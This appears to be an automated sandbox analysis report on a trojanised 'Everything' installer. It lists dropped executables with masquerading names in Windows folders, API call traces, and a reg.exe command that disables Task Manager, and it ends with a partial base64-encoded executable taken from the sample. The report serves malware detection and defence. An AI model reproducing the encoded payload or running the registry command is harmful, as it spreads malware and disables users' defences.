Source: drivEn760.exe, 00000003.00000002.2322582469.0000000002726000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2221996305.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2222077239.0000000000B8D000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2229925355.0000000000B8E000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmp, Everything.exe, 00000006.00000003.2229823075.0000000000B7C000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2229585702.0000000000B7B000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2229536980.0000000000B77000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000000.2219670131.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmp, Everything.exe, 00000006.00000003.2221177245.0000000000B8B000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000007.00000000.2224034477.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 00000007.00000002.2228700188.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 00000008.00000000.2226818799.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 0000000A.00000002.2246706702.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 0000000A.00000003.2245528465.0000000000CD4000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 0000000A.00000000.2244353758.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 0000000A.00000003.2245716930.0000000000CDD000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 0000000A.00000003.2245320628.0000000000CD3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.voidtools.com/support/everything/
Source: drivEn760.exe, 00000003.00000002.2322582469.0000000002726000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2221996305.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmp, Everything.exe, 00000006.00000000.2219670131.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmp, Everything.exe, 00000007.00000000.2224034477.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 00000007.00000002.2228700188.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 00000008.00000000.2226818799.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 0000000A.00000002.2246706702.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 0000000A.00000000.2244353758.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: https://www.voidtools.com/support/everything/http://www.voidtools.com/everything/update.iniwww.voidt
Source: drivEn760.exe, 00000003.00000002.2322582469.0000000002726000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2221996305.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmp, Everything.exe, 00000006.00000000.2219670131.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmp, Everything.exe, 00000007.00000000.2224034477.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 00000007.00000002.2228700188.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 00000008.00000000.2226818799.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 0000000A.00000002.2246706702.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 0000000A.00000000.2244353758.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: https://www.voidtools.com/update/)
Source: drivEn760.exe, 00000003.00000002.2322582469.0000000002726000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2221996305.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmp, Everything.exe, 00000006.00000000.2219670131.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmp, Everything.exe, 00000007.00000000.2224034477.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 00000007.00000002.2228700188.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 00000008.00000000.2226818799.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 0000000A.00000002.2246706702.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 0000000A.00000000.2244353758.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: https://www.voidtools.com/update/)InternetReadFileInternetOpenUrlWInternetCloseHandleInternetOpenWwi

Source: C:\Users\user\AppData\Local\Temp\drivEn760.exe

Code function: 3_2_00405809 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

3_2_00405809

Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Window created: window name: CLIPBRDWNDCLASS

Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: #_WinAPI_RegisterRawInputDevices.au3

memstr_8dac6e87-6

System Summary

.NET source code contains suspicious base64 encoded strings

Source: wxl1r0lntg.exe, Program.cs

Base64 encoded string: System.Security.

.NET source code contains very large strings

Source: wxl1r0lntg.exe, Program.cs	Long String: Length: 3130596
Source: wxl1r0lntg.exe, Program.cs	Long String: Length: 2514464

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\SysWOW64\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\sqls211.exe

Code function: 2_2_00CC6FAA: __EH_prolog,_wcslen,_wcslen,CreateFileW,CloseHandle,CreateDirectoryW,CreateFileW,DeviceIoControl,CloseHandle,GetLastError,RemoveDirectoryW,DeleteFileW,

2_2_00CC6FAA

Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe

Code function: 6_2_00007FF63D4756B0 OpenSCManagerW,OpenServiceW,ControlService,CloseServiceHandle,OpenServiceW,DeleteService,GetLastError,CloseServiceHandle,CloseServiceHandle,GetLastError,GetLastError,CloseServiceHandle,GetLastError,

6_2_00007FF63D4756B0

Source: C:\Users\user\AppData\Local\Temp\drivEn760.exe

Code function: 3_2_00403640 EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,ExitProcess,CoUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

3_2_00403640

Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	File created: C:\Windows\BitLockerDiscoveryVolumeContents\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	File created: C:\Windows\BitLockerDiscoveryVolumeContents\0addff5cf70349
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	File created: C:\Windows\apppatch\CustomSDB\sihost.exe
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	File created: C:\Windows\apppatch\CustomSDB\66fc9ff0ee96c2
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	File created: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	File created: C:\Windows\CbsTemp\0addff5cf70349
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: c:\Windows\System32\CSCE2A537B39618441DAC64E34137FF17.TMP
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: c:\Windows\System32\SecurityHealthSystray.exe
Source: C:\Windows\System32\svchost.exe	File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

File deleted: C:\Windows\System32\CSCE2A537B39618441DAC64E34137FF17.TMP

Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	Code function: 2_2_00CC848E	2_2_00CC848E
Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	Code function: 2_2_00CC40FE	2_2_00CC40FE
Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	Code function: 2_2_00CD4088	2_2_00CD4088
Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	Code function: 2_2_00CD00B7	2_2_00CD00B7
Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	Code function: 2_2_00CE51C9	2_2_00CE51C9
Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	Code function: 2_2_00CD7153	2_2_00CD7153
Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	Code function: 2_2_00CD62CA	2_2_00CD62CA
Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	Code function: 2_2_00CC32F7	2_2_00CC32F7
Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	Code function: 2_2_00CD43BF	2_2_00CD43BF
Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	Code function: 2_2_00CED440	2_2_00CED440
Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	Code function: 2_2_00CCF461	2_2_00CCF461
Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	Code function: 2_2_00CCC426	2_2_00CCC426
Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	Code function: 2_2_00CD77EF	2_2_00CD77EF
Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	Code function: 2_2_00CED8EE	2_2_00CED8EE
Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	Code function: 2_2_00CC286B	2_2_00CC286B
Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	Code function: 2_2_00CF19F4	2_2_00CF19F4
Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	Code function: 2_2_00CCE9B7	2_2_00CCE9B7
Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	Code function: 2_2_00CD6CDC	2_2_00CD6CDC
Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	Code function: 2_2_00CD3E0B	2_2_00CD3E0B
Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	Code function: 2_2_00CCEFE2	2_2_00CCEFE2
Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	Code function: 2_2_00CE4F9A	2_2_00CE4F9A
Source: C:\Users\user\AppData\Local\Temp\drivEn760.exe	Code function: 3_2_00406D5F	3_2_00406D5F
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 6_2_00007FF63D54FD80	6_2_00007FF63D54FD80
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 6_2_00007FF63D47B7B0	6_2_00007FF63D47B7B0
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 6_2_00007FF63D520ED0	6_2_00007FF63D520ED0
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 6_2_00007FF63D4CE550	6_2_00007FF63D4CE550
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 6_2_00007FF63D48B860	6_2_00007FF63D48B860
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 6_2_00007FF63D5E6920	6_2_00007FF63D5E6920
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 6_2_00007FF63D4C7920	6_2_00007FF63D4C7920
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 6_2_00007FF63D4ADF60	6_2_00007FF63D4ADF60
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 6_2_00007FF63D47E800	6_2_00007FF63D47E800
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 6_2_00007FF63D4847E0	6_2_00007FF63D4847E0
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 6_2_00007FF63D61B260	6_2_00007FF63D61B260
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 6_2_00007FF63D4DC9B0	6_2_00007FF63D4DC9B0
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 6_2_00007FF63D556190	6_2_00007FF63D556190
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 6_2_00007FF63D482940	6_2_00007FF63D482940
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 6_2_00007FF63D5EF940	6_2_00007FF63D5EF940
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 6_2_00007FF63D47B227	6_2_00007FF63D47B227
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 6_2_00007FF63D5F11C0	6_2_00007FF63D5F11C0
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 6_2_00007FF63D4B9470	6_2_00007FF63D4B9470
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 6_2_00007FF63D4A24D0	6_2_00007FF63D4A24D0
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 6_2_00007FF63D484390	6_2_00007FF63D484390
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 6_2_00007FF63D48AB70	6_2_00007FF63D48AB70
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 6_2_00007FF63D5F0C10	6_2_00007FF63D5F0C10
Source: C:\Program Files\Everything\Everything.exe	Code function: 7_2_00007FF728C8FD80	7_2_00007FF728C8FD80
Source: C:\Program Files\Everything\Everything.exe	Code function: 7_2_00007FF728BBB7B0	7_2_00007FF728BBB7B0
Source: C:\Program Files\Everything\Everything.exe	Code function: 7_2_00007FF728C1C9B0	7_2_00007FF728C1C9B0
Source: C:\Program Files\Everything\Everything.exe	Code function: 7_2_00007FF728D311C0	7_2_00007FF728D311C0
Source: C:\Program Files\Everything\Everything.exe	Code function: 7_2_00007FF728C96190	7_2_00007FF728C96190
Source: C:\Program Files\Everything\Everything.exe	Code function: 7_2_00007FF728C07920	7_2_00007FF728C07920
Source: C:\Program Files\Everything\Everything.exe	Code function: 7_2_00007FF728D2F940	7_2_00007FF728D2F940
Source: C:\Program Files\Everything\Everything.exe	Code function: 7_2_00007FF728BC2940	7_2_00007FF728BC2940
Source: C:\Program Files\Everything\Everything.exe	Code function: 7_2_00007FF728D26920	7_2_00007FF728D26920
Source: C:\Program Files\Everything\Everything.exe	Code function: 7_2_00007FF728D5B260	7_2_00007FF728D5B260
Source: C:\Program Files\Everything\Everything.exe	Code function: 7_2_00007FF728BBB227	7_2_00007FF728BBB227
Source: C:\Program Files\Everything\Everything.exe	Code function: 7_2_00007FF728D30C10	7_2_00007FF728D30C10
Source: C:\Program Files\Everything\Everything.exe	Code function: 7_2_00007FF728BCAB70	7_2_00007FF728BCAB70
Source: C:\Program Files\Everything\Everything.exe	Code function: 7_2_00007FF728BC4390	7_2_00007FF728BC4390
Source: C:\Program Files\Everything\Everything.exe	Code function: 7_2_00007FF728BE24D0	7_2_00007FF728BE24D0
Source: C:\Program Files\Everything\Everything.exe	Code function: 7_2_00007FF728BF9470	7_2_00007FF728BF9470
Source: C:\Program Files\Everything\Everything.exe	Code function: 7_2_00007FF728C0E550	7_2_00007FF728C0E550
Source: C:\Program Files\Everything\Everything.exe	Code function: 7_2_00007FF728C60ED0	7_2_00007FF728C60ED0
Source: C:\Program Files\Everything\Everything.exe	Code function: 7_2_00007FF728BC47E0	7_2_00007FF728BC47E0
Source: C:\Program Files\Everything\Everything.exe	Code function: 7_2_00007FF728BBE800	7_2_00007FF728BBE800
Source: C:\Program Files\Everything\Everything.exe	Code function: 7_2_00007FF728BEDF60	7_2_00007FF728BEDF60
Source: C:\Program Files\Everything\Everything.exe	Code function: 7_2_00007FF728BCB860	7_2_00007FF728BCB860
Source: C:\Program Files\Everything\Everything.exe	Code function: 10_2_00007FF728C8FD80	10_2_00007FF728C8FD80
Source: C:\Program Files\Everything\Everything.exe	Code function: 10_2_00007FF728BBB7B0	10_2_00007FF728BBB7B0
Source: C:\Program Files\Everything\Everything.exe	Code function: 10_2_00007FF728C1C9B0	10_2_00007FF728C1C9B0
Source: C:\Program Files\Everything\Everything.exe	Code function: 10_2_00007FF728D311C0	10_2_00007FF728D311C0
Source: C:\Program Files\Everything\Everything.exe	Code function: 10_2_00007FF728C96190	10_2_00007FF728C96190
Source: C:\Program Files\Everything\Everything.exe	Code function: 10_2_00007FF728C07920	10_2_00007FF728C07920
Source: C:\Program Files\Everything\Everything.exe	Code function: 10_2_00007FF728D2F940	10_2_00007FF728D2F940
Source: C:\Program Files\Everything\Everything.exe	Code function: 10_2_00007FF728BC2940	10_2_00007FF728BC2940
Source: C:\Program Files\Everything\Everything.exe	Code function: 10_2_00007FF728D26920	10_2_00007FF728D26920
Source: C:\Program Files\Everything\Everything.exe	Code function: 10_2_00007FF728D5B260	10_2_00007FF728D5B260
Source: C:\Program Files\Everything\Everything.exe	Code function: 10_2_00007FF728BBB227	10_2_00007FF728BBB227
Source: C:\Program Files\Everything\Everything.exe	Code function: 10_2_00007FF728D30C10	10_2_00007FF728D30C10
Source: C:\Program Files\Everything\Everything.exe	Code function: 10_2_00007FF728BCAB70	10_2_00007FF728BCAB70
Source: C:\Program Files\Everything\Everything.exe	Code function: 10_2_00007FF728BC4390	10_2_00007FF728BC4390
Source: C:\Program Files\Everything\Everything.exe	Code function: 10_2_00007FF728BE24D0	10_2_00007FF728BE24D0
Source: C:\Program Files\Everything\Everything.exe	Code function: 10_2_00007FF728BF9470	10_2_00007FF728BF9470
Source: C:\Program Files\Everything\Everything.exe	Code function: 10_2_00007FF728C0E550	10_2_00007FF728C0E550
Source: C:\Program Files\Everything\Everything.exe	Code function: 10_2_00007FF728C60ED0	10_2_00007FF728C60ED0
Source: C:\Program Files\Everything\Everything.exe	Code function: 10_2_00007FF728BC47E0	10_2_00007FF728BC47E0
Source: C:\Program Files\Everything\Everything.exe	Code function: 10_2_00007FF728BBE800	10_2_00007FF728BBE800
Source: C:\Program Files\Everything\Everything.exe	Code function: 10_2_00007FF728BEDF60	10_2_00007FF728BEDF60
Source: C:\Program Files\Everything\Everything.exe	Code function: 10_2_00007FF728BCB860	10_2_00007FF728BCB860
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Code function: 14_2_00007FF848D20D4B	14_2_00007FF848D20D4B
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Code function: 14_2_00007FF848D20E43	14_2_00007FF848D20E43
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Code function: 14_2_00007FF84911A56F	14_2_00007FF84911A56F
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Code function: 14_2_00007FF8491165E0	14_2_00007FF8491165E0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Code function: 69_2_00007FF848D00D4B	69_2_00007FF848D00D4B
Source: C:\Windows\BitLockerDiscoveryVolumeContents\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Code function: 69_2_00007FF848D00E43	69_2_00007FF848D00E43
Source: C:\Windows\BitLockerDiscoveryVolumeContents\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Code function: 69_2_00007FF848D31405	69_2_00007FF848D31405
Source: C:\Program Files (x86)\Windows NT\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Code function: 70_2_00007FF848D10D4B	70_2_00007FF848D10D4B
Source: C:\Program Files (x86)\Windows NT\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Code function: 70_2_00007FF848D10E43	70_2_00007FF848D10E43
Source: C:\Program Files (x86)\Windows NT\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Code function: 70_2_00007FF848D413D1	70_2_00007FF848D413D1
Source: C:\Program Files (x86)\Windows NT\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Code function: 70_2_00007FF848D41405	70_2_00007FF848D41405
Source: C:\Windows\apppatch\CustomSDB\sihost.exe	Code function: 73_2_00007FF848D3968D	73_2_00007FF848D3968D
Source: C:\Windows\apppatch\CustomSDB\sihost.exe	Code function: 73_2_00007FF848D31405	73_2_00007FF848D31405
Source: C:\Windows\apppatch\CustomSDB\sihost.exe	Code function: 73_2_00007FF848D10E86	73_2_00007FF848D10E86
Source: C:\Windows\apppatch\CustomSDB\sihost.exe	Code function: 73_2_00007FF848D00D4B	73_2_00007FF848D00D4B
Source: C:\Windows\apppatch\CustomSDB\sihost.exe	Code function: 73_2_00007FF848D00E43	73_2_00007FF848D00E43

Source: C:\Program Files\Everything\Everything.exe	Code function: String function: 00007FF728C63FB0 appears 554 times
Source: C:\Program Files\Everything\Everything.exe	Code function: String function: 00007FF728C7E010 appears 68 times
Source: C:\Program Files\Everything\Everything.exe	Code function: String function: 00007FF728BC0B80 appears 134 times
Source: C:\Program Files\Everything\Everything.exe	Code function: String function: 00007FF728C6DEA0 appears 46 times
Source: C:\Program Files\Everything\Everything.exe	Code function: String function: 00007FF728D289A0 appears 38 times
Source: C:\Program Files\Everything\Everything.exe	Code function: String function: 00007FF728D25770 appears 100 times
Source: C:\Program Files\Everything\Everything.exe	Code function: String function: 00007FF728BBAEB0 appears 36 times
Source: C:\Program Files\Everything\Everything.exe	Code function: String function: 00007FF728C63FE0 appears 196 times
Source: C:\Program Files\Everything\Everything.exe	Code function: String function: 00007FF728C792B0 appears 92 times
Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	Code function: String function: 00CDEC50 appears 56 times
Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	Code function: String function: 00CDEB78 appears 39 times
Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	Code function: String function: 00CDF5F0 appears 31 times
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: String function: 00007FF63D5E5770 appears 50 times
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: String function: 00007FF63D5392B0 appears 46 times
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: String function: 00007FF63D53E010 appears 34 times
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: String function: 00007FF63D523FB0 appears 277 times
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: String function: 00007FF63D523FE0 appears 98 times
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: String function: 00007FF63D480B80 appears 67 times

Source: wxl1r0lntg.exe, 00000000.00000000.2029727081.00000000015D8000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameEverything-1.4.1..exe4 vs wxl1r0lntg.exe
Source: wxl1r0lntg.exe, 00000000.00000002.2052298255.00000000145C9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSpotifyStartupTask.exe$ vs wxl1r0lntg.exe

Source: wxl1r0lntg.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\reg.exe reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f

Source: containerwebruntime.exe.2.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe.14.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: RuntimeBroker.exe.14.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 0.2.wxl1r0lntg.exe.146dbdbd.2.raw.unpack, jCpXp0jZveeo1HIj1OD.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.wxl1r0lntg.exe.146dbdbd.2.raw.unpack, jCpXp0jZveeo1HIj1OD.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.wxl1r0lntg.exe.146dbdbd.2.raw.unpack, jCpXp0jZveeo1HIj1OD.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.wxl1r0lntg.exe.146dbdbd.2.raw.unpack, jCpXp0jZveeo1HIj1OD.cs	Cryptographic APIs: 'CreateDecryptor'

Source: wxl1r0lntg.exe, Program.cs

Base64 encoded string: 'TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAEAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAAB4X2PtPD4Nvjw+Db48Pg2+iKL8vjE+Db6Iov6+sj4Nvoii/74kPg2+nUnwvj4+Db6dSQm/Lz4Nvp1JDr8rPg2+nUkIvwg+Db41Ro6+Nz4NvjVGnr47Pg2+PD4Mvik/Db7JSQi/DT4NvslJDb89Pg2+yUnyvj0+Db7JSQ+/PT4NvlJpY2g8Pg2+AAAAAAAAAABQRQAATAEGAI2/IGIAAAAAAAAAAOAAAgELAQ4eABwDAAD+AwAAAAAAMPUBAAAQAAAAMAMAAABAAAAQAAAAAgAABQABAAAAAAAFAAEAAAAAAABQBwAABAAAAAAAAAIAQMEAABAAABAAAAAAEAAAEAAAAAAAABAAAABw0AMANAAAAKTQAwBQAAAAAEAGAPjfAAAAAAAAAAAAAAAAAAAAAAAAACAHADwjAAAcsQMAVAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPhVAwBAAAAAAAAAAAAAAAAAMAMAeAIAAOzFAwAgAQAAAAAAAAAAAAAAAAAAAAAAAC50ZXh0AAAA3BsDAAAQAAAAHAMAAAQAAAAAAAAAAAAAAAAAACAAAGAucmRhdGEAAMCuAAAAMAMAALAAAAAgAwAAAAAAAAAAAAAAAABAAABALmRhdGEAAAAgRwIAAOADAAAQAAAA0AMAAAAAAAAAAAAAAAAAQAAAwC5kaWRhdAAAkAEAAAAwBgAAAgAAAOADAAAAAAAAAAAAAAAAAEAAAMAucnNyYwAAAPjfAAAAQAYAAOAAAADiAwAAAAAAAAAAAAAAAABAAABALnJlbG9jAAA8IwAAACAHAAAkAAAAwgQAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGgg8EMA6PVNAADDzMzMzMy5mBBEAOlqWwAAzMzMzMzMuTAQRADoPsMAAGhwK0MA6GngAQBZw8zMzMzMzMzMzMxogCtDAOhT4AEAWcPMzMzM6M72AACj2IFEAMPMzMzMzLnogUQA6VMLAQDMzMzMzMy5eHpFAOhW4QAAaJArQwDoGeABAFnDzMzMzMzMzMzMzLmC60UA6DbhAABooCtDAOj53wEAWcPMzMzMzMzMzMzM